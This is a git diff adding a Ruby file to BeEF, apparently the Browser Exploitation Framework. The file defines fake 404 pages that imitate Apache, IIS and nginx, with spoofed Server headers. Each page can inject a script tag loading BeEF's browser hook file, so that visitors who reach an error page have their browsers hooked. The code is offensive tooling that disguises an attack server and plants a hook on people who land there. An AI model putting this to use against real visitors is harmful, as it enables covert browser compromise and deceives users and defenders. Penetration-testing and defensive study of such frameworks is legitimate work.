diff --git a/core/main/router/error_responses.rb b/core/main/router/error_responses.rb
new file mode 100644
index 000000000..584e5ef80
--- /dev/null
+++ b/core/main/router/error_responses.rb
@@ -0,0 +1,68 @@
+module BeEF
+  module Core
+    module Router
+
+      config = BeEF::Core::Configuration.instance
+
+      APACHE_HEADER = { "Server" => "Apache/2.2.3 (CentOS)",
+        "Content-Type" => "text/html; charset=UTF-8" } 
+      APACHE_BODY = "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">" +
+        "<html><head>" +
+        "<title>404 Not Found</title>" +
+        "</head><body>" +
+        "<h1>Not Found</h1>" +
+        "<p>The requested URL was not found on this server.</p>" +
+        "<hr>" +
+        "<address>Apache/2.2.3 (CentOS)</address>" +
+        ("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_404")).to_s +
+        "</body></html>"
+      IIS_HEADER = {"Server" => "Microsoft-IIS/6.0",
+        "X-Powered-By" => "ASP.NET",
+        "Content-Type" => "text/html; charset=UTF-8"}
+      IIS_BODY = "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">" +
+        "<HTML><HEAD><TITLE>The page cannot be found</TITLE>" +
+        "<META HTTP-EQUIV=\"Content-Type\" Content=\"text/html; charset=Windows-1252\">" +
+        "<STYLE type=\"text/css\">" +
+        "  BODY { font: 8pt/12pt verdana } " +
+        "  H1 { font: 13pt/15pt verdana }" +
+        "  H2 { font: 8pt/12pt verdana }" +
+        "  A:link { color: red }" +
+        "  A:visited { color: maroon }" +
+        "</STYLE>" +
+        "</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>" +
+        "<h1>The page cannot be found</h1>" +
+        "The page you are looking for might have been removed, had its name changed, or is temporarily unavailable." +
+        "<hr>" +
+        "<p>Please try the following:</p>" +
+        "<ul>" +
+        "<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>" +
+        "<li>If you reached this page by clicking a link, contact" +
+        " the Web site administrator to alert them that the link is incorrectly formatted." +
+        "</li>" +
+        "<li>Click the <a href=\"javascript:history.back(1)\">Back</a> button to try another link.</li>" +
+        "</ul>" +
+        "<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>" +
+        "<hr>" +
+        "<p>Technical Information (for support personnel)</p>" +
+        "<ul>" +
+        "<li>Go to <a href=\"http://go.microsoft.com/fwlink/?linkid=8180\">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>" +
+        "<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr)," +
+        "and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>" +
+        "</ul>" +
+        "</TD></TR></TABLE>" +
+        ("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_404")).to_s +
+        "</BODY></HTML>"
+      NGINX_HEADER = {"Server" => "nginx",
+        "Content-Type" => "text/html"}
+      NGINX_BODY = "<html>\n"+
+        "<head><title>404 Not Found</title></head>\n" +
+        "<body bgcolor=\"white\">\n" +
+        "<center><h1>404 Not Found</h1></center>\n" +
+        "<hr><center>nginx</center>\n" +
+        ("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_404")).to_s +
+        "</body>\n" +
+        "</html>\n"  
+
+    end
+  end
+end
